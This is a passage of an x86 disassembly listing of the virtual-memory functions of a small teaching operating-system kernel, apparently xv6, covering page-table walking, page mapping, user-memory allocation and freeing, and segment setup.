80106784: 5d pop %ebp
80106785: c3 ret
80106786: 8d 76 00 lea 0x0(%esi),%esi
80106789: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106790: 85 c9 test %ecx,%ecx
80106792: 74 2c je 801067c0 <walkpgdir+0x70>
80106794: e8 f7 bc ff ff call 80102490 <kalloc>
80106799: 85 c0 test %eax,%eax
8010679b: 89 c6 mov %eax,%esi
8010679d: 74 21 je 801067c0 <walkpgdir+0x70>
8010679f: 83 ec 04 sub $0x4,%esp
801067a2: 68 00 10 00 00 push $0x1000
801067a7: 6a 00 push $0x0
801067a9: 50 push %eax
801067aa: e8 51 dd ff ff call 80104500 <memset>
801067af: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
801067b5: 83 c4 10 add $0x10,%esp
801067b8: 83 c8 07 or $0x7,%eax
801067bb: 89 07 mov %eax,(%edi)
801067bd: eb b3 jmp 80106772 <walkpgdir+0x22>
801067bf: 90 nop
801067c0: 8d 65 f4 lea -0xc(%ebp),%esp
801067c3: 31 c0 xor %eax,%eax
801067c5: 5b pop %ebx
801067c6: 5e pop %esi
801067c7: 5f pop %edi
801067c8: 5d pop %ebp
801067c9: c3 ret
801067ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801067d0 <mappages>:
801067d0: 55 push %ebp
801067d1: 89 e5 mov %esp,%ebp
801067d3: 57 push %edi
801067d4: 56 push %esi
801067d5: 53 push %ebx
801067d6: 89 d3 mov %edx,%ebx
801067d8: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
801067de: 83 ec 1c sub $0x1c,%esp
801067e1: 89 45 e4 mov %eax,-0x1c(%ebp)
801067e4: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax
801067e8: 8b 7d 08 mov 0x8(%ebp),%edi
801067eb: 25 00 f0 ff ff and $0xfffff000,%eax
801067f0: 89 45 e0 mov %eax,-0x20(%ebp)
801067f3: 8b 45 0c mov 0xc(%ebp),%eax
801067f6: 29 df sub %ebx,%edi
801067f8: 83 c8 01 or $0x1,%eax
801067fb: 89 45 dc mov %eax,-0x24(%ebp)
801067fe: eb 15 jmp 80106815 <mappages+0x45>
80106800: f6 00 01 testb $0x1,(%eax)
80106803: 75 45 jne 8010684a <mappages+0x7a>
80106805: 0b 75 dc or -0x24(%ebp),%esi
80106808: 3b 5d e0 cmp -0x20(%ebp),%ebx
8010680b: 89 30 mov %esi,(%eax)
8010680d: 74 31 je 80106840 <mappages+0x70>
8010680f: 81 c3 00 10 00 00 add $0x1000,%ebx
80106815: 8b 45 e4 mov -0x1c(%ebp),%eax
80106818: b9 01 00 00 00 mov $0x1,%ecx
8010681d: 89 da mov %ebx,%edx
8010681f: 8d 34 3b lea (%ebx,%edi,1),%esi
80106822: e8 29 ff ff ff call 80106750 <walkpgdir>
80106827: 85 c0 test %eax,%eax
80106829: 75 d5 jne 80106800 <mappages+0x30>
8010682b: 8d 65 f4 lea -0xc(%ebp),%esp
8010682e: b8 ff ff ff ff mov $0xffffffff,%eax
80106833: 5b pop %ebx
80106834: 5e pop %esi
80106835: 5f pop %edi
80106836: 5d pop %ebp
80106837: c3 ret
80106838: 90 nop
80106839: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106840: 8d 65 f4 lea -0xc(%ebp),%esp
80106843: 31 c0 xor %eax,%eax
80106845: 5b pop %ebx
80106846: 5e pop %esi
80106847: 5f pop %edi
80106848: 5d pop %ebp
80106849: c3 ret
8010684a: 83 ec 0c sub $0xc,%esp
8010684d: 68 d8 79 10 80 push $0x801079d8
80106852: e8 09 9b ff ff call 80100360 <panic>
80106857: 89 f6 mov %esi,%esi
80106859: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106860 <deallocuvm.part.0>:
80106860: 55 push %ebp
80106861: 89 e5 mov %esp,%ebp
80106863: 57 push %edi
80106864: 56 push %esi
80106865: 53 push %ebx
80106866: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx
8010686c: 89 c7 mov %eax,%edi
8010686e: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
80106874: 83 ec 1c sub $0x1c,%esp
80106877: 89 4d e0 mov %ecx,-0x20(%ebp)
8010687a: 39 d3 cmp %edx,%ebx
8010687c: 73 66 jae 801068e4 <deallocuvm.part.0+0x84>
8010687e: 89 d6 mov %edx,%esi
80106880: eb 3d jmp 801068bf <deallocuvm.part.0+0x5f>
80106882: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106888: 8b 10 mov (%eax),%edx
8010688a: f6 c2 01 test $0x1,%dl
8010688d: 74 26 je 801068b5 <deallocuvm.part.0+0x55>
8010688f: 81 e2 00 f0 ff ff and $0xfffff000,%edx
80106895: 74 58 je 801068ef <deallocuvm.part.0+0x8f>
80106897: 83 ec 0c sub $0xc,%esp
8010689a: 81 c2 00 00 00 80 add $0x80000000,%edx
801068a0: 89 45 e4 mov %eax,-0x1c(%ebp)
801068a3: 52 push %edx
801068a4: e8 37 ba ff ff call 801022e0 <kfree>
801068a9: 8b 45 e4 mov -0x1c(%ebp),%eax
801068ac: 83 c4 10 add $0x10,%esp
801068af: c7 00 00 00 00 00 movl $0x0,(%eax)
801068b5: 81 c3 00 10 00 00 add $0x1000,%ebx
801068bb: 39 f3 cmp %esi,%ebx
801068bd: 73 25 jae 801068e4 <deallocuvm.part.0+0x84>
801068bf: 31 c9 xor %ecx,%ecx
801068c1: 89 da mov %ebx,%edx
801068c3: 89 f8 mov %edi,%eax
801068c5: e8 86 fe ff ff call 80106750 <walkpgdir>
801068ca: 85 c0 test %eax,%eax
801068cc: 75 ba jne 80106888 <deallocuvm.part.0+0x28>
801068ce: 81 e3 00 00 c0 ff and $0xffc00000,%ebx
801068d4: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx
801068da: 81 c3 00 10 00 00 add $0x1000,%ebx
801068e0: 39 f3 cmp %esi,%ebx
801068e2: 72 db jb 801068bf <deallocuvm.part.0+0x5f>
801068e4: 8b 45 e0 mov -0x20(%ebp),%eax
801068e7: 8d 65 f4 lea -0xc(%ebp),%esp
801068ea: 5b pop %ebx
801068eb: 5e pop %esi
801068ec: 5f pop %edi
801068ed: 5d pop %ebp
801068ee: c3 ret
801068ef: 83 ec 0c sub $0xc,%esp
801068f2: 68 12 73 10 80 push $0x80107312
801068f7: e8 64 9a ff ff call 80100360 <panic>
801068fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106900 <seginit>:
80106900: 55 push %ebp
80106901: 89 e5 mov %esp,%ebp
80106903: 53 push %ebx
80106904: 31 db xor %ebx,%ebx
80106906: 83 ec 14 sub $0x14,%esp
80106909: e8 42 be ff ff call 80102750 <cpunum>
8010690e: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80106914: b9 ff ff ff ff mov $0xffffffff,%ecx
80106919: 8d 90 a0 27 11 80 lea -0x7feed860(%eax),%edx
8010691f: c6 80 1d 28 11 80 9a movb $0x9a,-0x7feed7e3(%eax)
80106926: c6 80 1e 28 11 80 cf movb $0xcf,-0x7feed7e2(%eax)
8010692d: c6 80 25 28 11 80 92 movb $0x92,-0x7feed7db(%eax)
80106934: c6 80 26 28 11 80 cf movb $0xcf,-0x7feed7da(%eax)
8010693b: 66 89 4a 78 mov %cx,0x78(%edx)
8010693f: b9 ff ff ff ff mov $0xffffffff,%ecx
80106944: 66 89 5a 7a mov %bx,0x7a(%edx)
80106948: 66 89 8a 80 00 00 00 mov %cx,0x80(%edx)
8010694f: 31 db xor %ebx,%ebx
80106951: b9 ff ff ff ff mov $0xffffffff,%ecx
80106956: 66 89 9a 82 00 00 00 mov %bx,0x82(%edx)
8010695d: 66 89 8a 90 00 00 00 mov %cx,0x90(%edx)
80106964: 31 db xor %ebx,%ebx
80106966: b9 ff ff ff ff mov $0xffffffff,%ecx
8010696b: 66 89 9a 92 00 00 00 mov %bx,0x92(%edx)
80106972: 31 db xor %ebx,%ebx
80106974: 66 89 8a 98 00 00 00 mov %cx,0x98(%edx)
8010697b: 8d 88 54 28 11 80 lea -0x7feed7ac(%eax),%ecx
80106981: 66 89 9a 9a 00 00 00 mov %bx,0x9a(%edx)
80106988: 31 db xor %ebx,%ebx
8010698a: c6 80 35 28 11 80 fa movb $0xfa,-0x7feed7cb(%eax)
80106991: c6 80 36 28 11 80 cf movb $0xcf,-0x7feed7ca(%eax)
80106998: 66 89 9a 88 00 00 00 mov %bx,0x88(%edx)
8010699f: 66 89 8a 8a 00 00 00 mov %cx,0x8a(%edx)
801069a6: 89 cb mov %ecx,%ebx
801069a8: c1 e9 18 shr $0x18,%ecx
801069ab: c6 80 3d 28 11 80 f2 movb $0xf2,-0x7feed7c3(%eax)
801069b2: c6 80 3e 28 11 80 cf movb $0xcf,-0x7feed7c2(%eax)
801069b9: 88 8a 8f 00 00 00 mov %cl,0x8f(%edx)
801069bf: c6 80 2d 28 11 80 92 movb $0x92,-0x7feed7d3(%eax)
801069c6: b9 37 00 00 00 mov $0x37,%ecx
801069cb: c6 80 2e 28 11 80 c0 movb $0xc0,-0x7feed7d2(%eax)
801069d2: 05 10 28 11 80 add $0x80112810,%eax
801069d7: 66 89 4d f2 mov %cx,-0xe(%ebp)
801069db: c1 eb 10 shr $0x10,%ebx
801069de: 66 89 45 f4 mov %ax,-0xc(%ebp)
801069e2: c1 e8 10 shr $0x10,%eax
801069e5: c6 42 7c 00 movb $0x0,0x7c(%edx)
801069e9: c6 42 7f 00 movb $0x0,0x7f(%edx)
801069ed: c6 82 84 00 00 00 00 movb $0x0,0x84(%edx)
801069f4: c6 82 87 00 00 00 00 movb $0x0,0x87(%edx)
801069fb: c6 82 94 00 00 00 00 movb $0x0,0x94(%edx)
80106a02: c6 82 97 00 00 00 00 movb $0x0,0x97(%edx)
80106a09: c6 82 9c 00 00 00 00 movb $0x0,0x9c(%edx)
80106a10: c6 82 9f 00 00 00 00 movb $0x0,0x9f(%edx)
80106a17: 88 9a 8c 00 00 00 mov %bl,0x8c(%edx)
80106a1d: 66 89 45 f6 mov %ax,-0xa(%ebp)
80106a21: 8d 45 f2 lea -0xe(%ebp),%eax
80106a24: 0f 01 10 lgdtl (%eax)
80106a27: b8 18 00 00 00 mov $0x18,%eax
80106a2c: 8e e8 mov %eax,%gs
80106a2e: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80106a35: 00 00 00 00
80106a39: 65 89 15 00 00 00 00 mov %edx,%gs:0x0
80106a40: 83 c4 14 add $0x14,%esp
80106a43: 5b pop %ebx
80106a44: 5d pop %ebp
80106a45: c3 ret
80106a46: 8d 76 00 lea 0x0(%esi),%esi
80106a49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106a50 <setupkvm>:
80106a50: 55 push %ebp
80106a51: 89 e5 mov %esp,%ebp
80106a53: 56 push %esi
80106a54: 53 push %ebx
80106a55: e8 36 ba ff ff call 80102490 <kalloc>
80106a5a: 85 c0 test %eax,%eax
80106a5c: 74 52 je 80106ab0 <setupkvm+0x60>
80106a5e: 83 ec 04 sub $0x4,%esp
80106a61: 89 c6 mov %eax,%esi
80106a63: bb 20 a4 10 80 mov $0x8010a420,%ebx
80106a68: 68 00 10 00 00 push $0x1000
80106a6d: 6a 00 push $0x0
80106a6f: 50 push %eax
80106a70: e8 8b da ff ff call 80104500 <memset>
80106a75: 83 c4 10 add $0x10,%esp
80106a78: 8b 43 04 mov 0x4(%ebx),%eax
80106a7b: 8b 4b 08 mov 0x8(%ebx),%ecx
80106a7e: 83 ec 08 sub $0x8,%esp
80106a81: 8b 13 mov (%ebx),%edx
80106a83: ff 73 0c pushl 0xc(%ebx)
80106a86: 50 push %eax
80106a87: 29 c1 sub %eax,%ecx
80106a89: 89 f0 mov %esi,%eax
80106a8b: e8 40 fd ff ff call 801067d0 <mappages>
80106a90: 83 c4 10 add $0x10,%esp
80106a93: 85 c0 test %eax,%eax
80106a95: 78 19 js 80106ab0 <setupkvm+0x60>
80106a97: 83 c3 10 add $0x10,%ebx
80106a9a: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx
80106aa0: 75 d6 jne 80106a78 <setupkvm+0x28>
80106aa2: 8d 65 f8 lea -0x8(%ebp),%esp
80106aa5: 89 f0 mov %esi,%eax
80106aa7: 5b pop %ebx
80106aa8: 5e pop %esi
80106aa9: 5d pop %ebp
80106aaa: c3 ret
80106aab: 90 nop
80106aac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106ab0: 8d 65 f8 lea -0x8(%ebp),%esp
80106ab3: 31 c0 xor %eax,%eax
80106ab5: 5b pop %ebx
80106ab6: 5e pop %esi
80106ab7: 5d pop %ebp
80106ab8: c3 ret
80106ab9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ac0 <kvmalloc>:
80106ac0: 55 push %ebp
80106ac1: 89 e5 mov %esp,%ebp
80106ac3: 83 ec 08 sub $0x8,%esp
80106ac6: e8 85 ff ff ff call 80106a50 <setupkvm>
80106acb: a3 24 56 11 80 mov %eax,0x80115624
80106ad0: 05 00 00 00 80 add $0x80000000,%eax
80106ad5: 0f 22 d8 mov %eax,%cr3
80106ad8: c9 leave
80106ad9: c3 ret
80106ada: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106ae0 <switchkvm>:
80106ae0: a1 24 56 11 80 mov 0x80115624,%eax
80106ae5: 55 push %ebp
80106ae6: 89 e5 mov %esp,%ebp
80106ae8: 05 00 00 00 80 add $0x80000000,%eax
80106aed: 0f 22 d8 mov %eax,%cr3
80106af0: 5d pop %ebp
80106af1: c3 ret
80106af2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106af9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106b00 <switchuvm>:
80106b00: 55 push %ebp
80106b01: 89 e5 mov %esp,%ebp
80106b03: 53 push %ebx
80106b04: 83 ec 04 sub $0x4,%esp
80106b07: 8b 5d 08 mov 0x8(%ebp),%ebx
80106b0a: 85 db test %ebx,%ebx
80106b0c: 0f 84 93 00 00 00 je 80106ba5 <switchuvm+0xa5>
80106b12: 8b 43 08 mov 0x8(%ebx),%eax
80106b15: 85 c0 test %eax,%eax
80106b17: 0f 84 a2 00 00 00 je 80106bbf <switchuvm+0xbf>
80106b1d: 8b 43 04 mov 0x4(%ebx),%eax
80106b20: 85 c0 test %eax,%eax
80106b22: 0f 84 8a 00 00 00 je 80106bb2 <switchuvm+0xb2>
80106b28: e8 03 d9 ff ff call 80104430 <pushcli>
80106b2d: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80106b33: b9 67 00 00 00 mov $0x67,%ecx
80106b38: 8d 50 08 lea 0x8(%eax),%edx
80106b3b: 66 89 88 a0 00 00 00 mov %cx,0xa0(%eax)
80106b42: c6 80 a6 00 00 00 40 movb $0x40,0xa6(%eax)
80106b49: c6 80 a5 00 00 00 89 movb $0x89,0xa5(%eax)
80106b50: 66 89 90 a2 00 00 00 mov %dx,0xa2(%eax)
80106b57: 89 d1 mov %edx,%ecx
80106b59: c1 ea 18 shr $0x18,%edx
80106b5c: 88 90 a7 00 00 00 mov %dl,0xa7(%eax)
80106b62: c1 e9 10 shr $0x10,%ecx
80106b65: ba 10 00 00 00 mov $0x10,%edx
80106b6a: 66 89 50 10 mov %dx,0x10(%eax)
80106b6e: 88 88 a4 00 00 00 mov %cl,0xa4(%eax)
80106b74: 8b 4b 08 mov 0x8(%ebx),%ecx
80106b77: 8d 91 00 10 00 00 lea 0x1000(%ecx),%edx
80106b7d: b9 ff ff ff ff mov $0xffffffff,%ecx
80106b82: 66 89 48 6e mov %cx,0x6e(%eax)
80106b86: 89 50 0c mov %edx,0xc(%eax)
80106b89: b8 30 00 00 00 mov $0x30,%eax
80106b8e: 0f 00 d8 ltr %ax
80106b91: 8b 43 04 mov 0x4(%ebx),%eax
80106b94: 05 00 00 00 80 add $0x80000000,%eax
80106b99: 0f 22 d8 mov %eax,%cr3
80106b9c: 8b 5d fc mov -0x4(%ebp),%ebx
80106b9f: c9 leave
80106ba0: e9 bb d8 ff ff jmp 80104460 <popcli>
80106ba5: 83 ec 0c sub $0xc,%esp
80106ba8: 68 de 79 10 80 push $0x801079de
80106bad: e8 ae 97 ff ff call 80100360 <panic>
80106bb2: 83 ec 0c sub $0xc,%esp
80106bb5: 68 09 7a 10 80 push $0x80107a09
80106bba: e8 a1 97 ff ff call 80100360 <panic>
80106bbf: 83 ec 0c sub $0xc,%esp
80106bc2: 68 f4 79 10 80 push $0x801079f4
80106bc7: e8 94 97 ff ff call 80100360 <panic>
80106bcc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106bd0 <inituvm>:
80106bd0: 55 push %ebp
80106bd1: 89 e5 mov %esp,%ebp
80106bd3: 57 push %edi
80106bd4: 56 push %esi
80106bd5: 53 push %ebx
80106bd6: 83 ec 1c sub $0x1c,%esp
80106bd9: 8b 75 10 mov 0x10(%ebp),%esi
80106bdc: 8b 45 08 mov 0x8(%ebp),%eax
80106bdf: 8b 7d 0c mov 0xc(%ebp),%edi
80106be2: 81 fe ff 0f 00 00 cmp $0xfff,%esi
80106be8: 89 45 e4 mov %eax,-0x1c(%ebp)
80106beb: 77 49 ja 80106c36 <inituvm+0x66>
80106bed: e8 9e b8 ff ff call 80102490 <kalloc>
80106bf2: 83 ec 04 sub $0x4,%esp
80106bf5: 89 c3 mov %eax,%ebx
80106bf7: 68 00 10 00 00 push $0x1000
80106bfc: 6a 00 push $0x0
80106bfe: 50 push %eax
80106bff: e8 fc d8 ff ff call 80104500 <memset>
80106c04: 58 pop %eax
80106c05: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106c0b: b9 00 10 00 00 mov $0x1000,%ecx
80106c10: 5a pop %edx
80106c11: 6a 06 push $0x6
80106c13: 50 push %eax
80106c14: 31 d2 xor %edx,%edx
80106c16: 8b 45 e4 mov -0x1c(%ebp),%eax
80106c19: e8 b2 fb ff ff call 801067d0 <mappages>
80106c1e: 89 75 10 mov %esi,0x10(%ebp)
80106c21: 89 7d 0c mov %edi,0xc(%ebp)
80106c24: 83 c4 10 add $0x10,%esp
80106c27: 89 5d 08 mov %ebx,0x8(%ebp)
80106c2a: 8d 65 f4 lea -0xc(%ebp),%esp
80106c2d: 5b pop %ebx
80106c2e: 5e pop %esi
80106c2f: 5f pop %edi
80106c30: 5d pop %ebp
80106c31: e9 6a d9 ff ff jmp 801045a0 <memmove>
80106c36: 83 ec 0c sub $0xc,%esp
80106c39: 68 1d 7a 10 80 push $0x80107a1d
80106c3e: e8 1d 97 ff ff call 80100360 <panic>
80106c43: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106c49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106c50 <loaduvm>:
80106c50: 55 push %ebp
80106c51: 89 e5 mov %esp,%ebp
80106c53: 57 push %edi
80106c54: 56 push %esi
80106c55: 53 push %ebx
80106c56: 83 ec 0c sub $0xc,%esp
80106c59: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp)
80106c60: 0f 85 91 00 00 00 jne 80106cf7 <loaduvm+0xa7>
80106c66: 8b 75 18 mov 0x18(%ebp),%esi
80106c69: 31 db xor %ebx,%ebx
80106c6b: 85 f6 test %esi,%esi
80106c6d: 75 1a jne 80106c89 <loaduvm+0x39>
80106c6f: eb 6f jmp 80106ce0 <loaduvm+0x90>
80106c71: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106c78: 81 c3 00 10 00 00 add $0x1000,%ebx
80106c7e: 81 ee 00 10 00 00 sub $0x1000,%esi
80106c84: 39 5d 18 cmp %ebx,0x18(%ebp)
80106c87: 76 57 jbe 80106ce0 <loaduvm+0x90>
80106c89: 8b 55 0c mov 0xc(%ebp),%edx
80106c8c: 8b 45 08 mov 0x8(%ebp),%eax
80106c8f: 31 c9 xor %ecx,%ecx
80106c91: 01 da add %ebx,%edx
80106c93: e8 b8 fa ff ff call 80106750 <walkpgdir>
80106c98: 85 c0 test %eax,%eax
80106c9a: 74 4e je 80106cea <loaduvm+0x9a>
80106c9c: 8b 00 mov (%eax),%eax
80106c9e: 8b 4d 14 mov 0x14(%ebp),%ecx
80106ca1: bf 00 10 00 00 mov $0x1000,%edi
80106ca6: 25 00 f0 ff ff and $0xfffff000,%eax
80106cab: 81 fe ff 0f 00 00 cmp $0xfff,%esi
80106cb1: 0f 46 fe cmovbe %esi,%edi
80106cb4: 01 d9 add %ebx,%ecx
80106cb6: 05 00 00 00 80 add $0x80000000,%eax
80106cbb: 57 push %edi
80106cbc: 51 push %ecx
80106cbd: 50 push %eax
80106cbe: ff 75 10 pushl 0x10(%ebp)
80106cc1: e8 7a ac ff ff call 80101940 <readi>
80106cc6: 83 c4 10 add $0x10,%esp
80106cc9: 39 c7 cmp %eax,%edi
80106ccb: 74 ab je 80106c78 <loaduvm+0x28>
80106ccd: 8d 65 f4 lea -0xc(%ebp),%esp
80106cd0: b8 ff ff ff ff mov $0xffffffff,%eax
80106cd5: 5b pop %ebx
80106cd6: 5e pop %esi
80106cd7: 5f pop %edi
80106cd8: 5d pop %ebp
80106cd9: c3 ret
80106cda: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106ce0: 8d 65 f4 lea -0xc(%ebp),%esp
80106ce3: 31 c0 xor %eax,%eax
80106ce5: 5b pop %ebx
80106ce6: 5e pop %esi
80106ce7: 5f pop %edi
80106ce8: 5d pop %ebp
80106ce9: c3 ret
80106cea: 83 ec 0c sub $0xc,%esp
80106ced: 68 37 7a 10 80 push $0x80107a37
80106cf2: e8 69 96 ff ff call 80100360 <panic>
80106cf7: 83 ec 0c sub $0xc,%esp
80106cfa: 68 d8 7a 10 80 push $0x80107ad8
80106cff: e8 5c 96 ff ff call 80100360 <panic>
80106d04: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106d0a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106d10 <allocuvm>:
80106d10: 55 push %ebp
80106d11: 89 e5 mov %esp,%ebp
80106d13: 57 push %edi
80106d14: 56 push %esi
80106d15: 53 push %ebx
80106d16: 83 ec 0c sub $0xc,%esp
80106d19: 8b 7d 10 mov 0x10(%ebp),%edi
80106d1c: 85 ff test %edi,%edi
80106d1e: 0f 88 ca 00 00 00 js 80106dee <allocuvm+0xde>
80106d24: 3b 7d 0c cmp 0xc(%ebp),%edi
80106d27: 8b 45 0c mov 0xc(%ebp),%eax
80106d2a: 0f 82 82 00 00 00 jb 80106db2 <allocuvm+0xa2>
80106d30: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80106d36: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
80106d3c: 39 df cmp %ebx,%edi
80106d3e: 77 43 ja 80106d83 <allocuvm+0x73>
80106d40: e9 bb 00 00 00 jmp 80106e00 <allocuvm+0xf0>
80106d45: 8d 76 00 lea 0x0(%esi),%esi
80106d48: 83 ec 04 sub $0x4,%esp
80106d4b: 68 00 10 00 00 push $0x1000
80106d50: 6a 00 push $0x0
80106d52: 50 push %eax
80106d53: e8 a8 d7 ff ff call 80104500 <memset>
80106d58: 58 pop %eax
80106d59: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
80106d5f: b9 00 10 00 00 mov $0x1000,%ecx
80106d64: 5a pop %edx
80106d65: 6a 06 push $0x6
80106d67: 50 push %eax
80106d68: 89 da mov %ebx,%edx
80106d6a: 8b 45 08 mov 0x8(%ebp),%eax
80106d6d: e8 5e fa ff ff call 801067d0 <mappages>
80106d72: 83 c4 10 add $0x10,%esp
80106d75: 85 c0 test %eax,%eax
80106d77: 78 47 js 80106dc0 <allocuvm+0xb0>
80106d79: 81 c3 00 10 00 00 add $0x1000,%ebx
80106d7f: 39 df cmp %ebx,%edi
80106d81: 76 7d jbe 80106e00 <allocuvm+0xf0>
80106d83: e8 08 b7 ff ff call 80102490 <kalloc>
80106d88: 85 c0 test %eax,%eax
80106d8a: 89 c6 mov %eax,%esi
80106d8c: 75 ba jne 80106d48 <allocuvm+0x38>
80106d8e: 83 ec 0c sub $0xc,%esp
80106d91: 68 55 7a 10 80 push $0x80107a55
80106d96: e8 b5 98 ff ff call 80100650 <cprintf>
80106d9b: 83 c4 10 add $0x10,%esp
80106d9e: 3b 7d 0c cmp 0xc(%ebp),%edi
80106da1: 76 4b jbe 80106dee <allocuvm+0xde>
80106da3: 8b 4d 0c mov 0xc(%ebp),%ecx
80106da6: 8b 45 08 mov 0x8(%ebp),%eax
80106da9: 89 fa mov %edi,%edx
80106dab: e8 b0 fa ff ff call 80106860 <deallocuvm.part.0>
80106db0: 31 c0 xor %eax,%eax
80106db2: 8d 65 f4 lea -0xc(%ebp),%esp
80106db5: 5b pop %ebx
80106db6: 5e pop %esi
80106db7: 5f pop %edi
80106db8: 5d pop %ebp
80106db9: c3 ret
80106dba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106dc0: 83 ec 0c sub $0xc,%esp
80106dc3: 68 6d 7a 10 80 push $0x80107a6d
80106dc8: e8 83 98 ff ff call 80100650 <cprintf>
80106dcd: 83 c4 10 add $0x10,%esp
80106dd0: 3b 7d 0c cmp 0xc(%ebp),%edi
80106dd3: 76 0d jbe 80106de2 <allocuvm+0xd2>
80106dd5: 8b 4d 0c mov 0xc(%ebp),%ecx
80106dd8: 8b 45 08 mov 0x8(%ebp),%eax
80106ddb: 89 fa mov %edi,%edx
80106ddd: e8 7e fa ff ff call 80106860 <deallocuvm.part.0>
80106de2: 83 ec 0c sub $0xc,%esp
80106de5: 56 push %esi
80106de6: e8 f5 b4 ff ff call 801022e0 <kfree>
80106deb: 83 c4 10 add $0x10,%esp
80106dee: 8d 65 f4 lea -0xc(%ebp),%esp
80106df1: 31 c0 xor %eax,%eax
80106df3: 5b pop %ebx
80106df4: 5e pop %esi
80106df5: 5f pop %edi
80106df6: 5d pop %ebp
80106df7: c3 ret
80106df8: 90 nop
80106df9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106e00: 8d 65 f4 lea -0xc(%ebp),%esp
80106e03: 89 f8 mov %edi,%eax
80106e05: 5b pop %ebx
80106e06: 5e pop %esi
80106e07: 5f pop %edi
80106e08: 5d pop %ebp
80106e09: c3 ret
80106e0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106e10 <deallocuvm>:
80106e10: 55 push %ebp
80106e11: 89 e5 mov %esp,%ebp
80106e13: 8b 55 0c mov 0xc(%ebp),%edx
80106e16: 8b 4d 10 mov 0x10(%ebp),%ecx
80106e19: 8b 45 08 mov 0x8(%ebp),%eax
80106e1c: 39 d1 cmp %edx,%ecx
80106e1e: 73 10 jae 80106e30 <deallocuvm+0x20>
80106e20: 5d pop %ebp
80106e21: e9 3a fa ff ff jmp 80106860 <deallocuvm.part.0>
80106e26: 8d 76 00 lea 0x0(%esi),%esi
80106e29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106e30: 89 d0 mov %edx,%eax
80106e32: 5d pop %ebp
80106e33: c3 ret
80106e34: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106e3a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106e40 <freevm>:
80106e40: 55 push %ebp
80106e41: 89 e5 mov %esp,%ebp
80106e43: 57 push %edi
80106e44: 56 push %esi
80106e45: 53 push %ebx
80106e46: 83 ec 0c sub $0xc,%esp
80106e49: 8b 75 08 mov 0x8(%ebp),%esi
80106e4c: 85 f6 test %esi,%esi
80106e4e: 74 59 je 80106ea9 <freevm+0x69>
80106e50: 31 c9 xor %ecx,%ecx
80106e52: ba 00 00 00 80 mov $0x80000000,%edx
80106e57: 89 f0 mov %esi,%eax
80106e59: e8 02 fa ff ff call 80106860 <deallocuvm.part.0>
80106e5e: 89 f3 mov %esi,%ebx
80106e60: 8d be 00 10 00 00 lea 0x1000(%esi),%edi
80106e66: eb 0f jmp 80106e77 <freevm+0x37>
80106e68: 90 nop
80106e69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106e70: 83 c3 04 add $0x4,%ebx
80106e73: 39 fb cmp %edi,%ebx
80106e75: 74 23 je 80106e9a <freevm+0x5a>
80106e77: 8b 03 mov (%ebx),%eax
80106e79: a8 01 test $0x1,%al
80106e7b: 74 f3 je 80106e70 <freevm+0x30>
80106e7d: 25 00 f0 ff ff and $0xfffff000,%eax
80106e82: 83 ec 0c sub $0xc,%esp
80106e85: 83 c3 04 add $0x4,%ebx
80106e88: 05 00 00 00 80 add $0x80000000,%eax
80106e8d: 50 push %eax
80106e8e: e8 4d b4 ff ff call 801022e0 <kfree>
80106e93: 83 c4 10 add $0x10,%esp
80106e96: 39 fb cmp %edi,%ebx
80106e98: 75 dd jne 80106e77 <freevm+0x37>
80106e9a: 89 75 08 mov %esi,0x8(%ebp)
80106e9d: 8d 65 f4 lea -0xc(%ebp),%esp
80106ea0: 5b pop %ebx
80106ea1: 5e pop %esi
80106ea2: 5f pop %edi
80106ea3: 5d pop %ebp
80106ea4: e9 37 b4 ff ff jmp 801022e0 <kfree>
80106ea9: 83 ec 0c sub $0xc,%esp
80106eac: 68 89 7a 10 80 push $0x80107a89
80106eb1: e8 aa 94 ff ff call 80100360 <panic>
80106eb6: 8d 76 00 lea 0x0(%esi),%esi
80106eb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106ec0 <clearpteu>:
80106ec0: 55 push %ebp
80106ec1: 31 c9 xor %ecx,%ecx
80106ec3: 89 e5 mov %esp,%ebp
80106ec5: 83 ec 08 sub $0x8,%esp
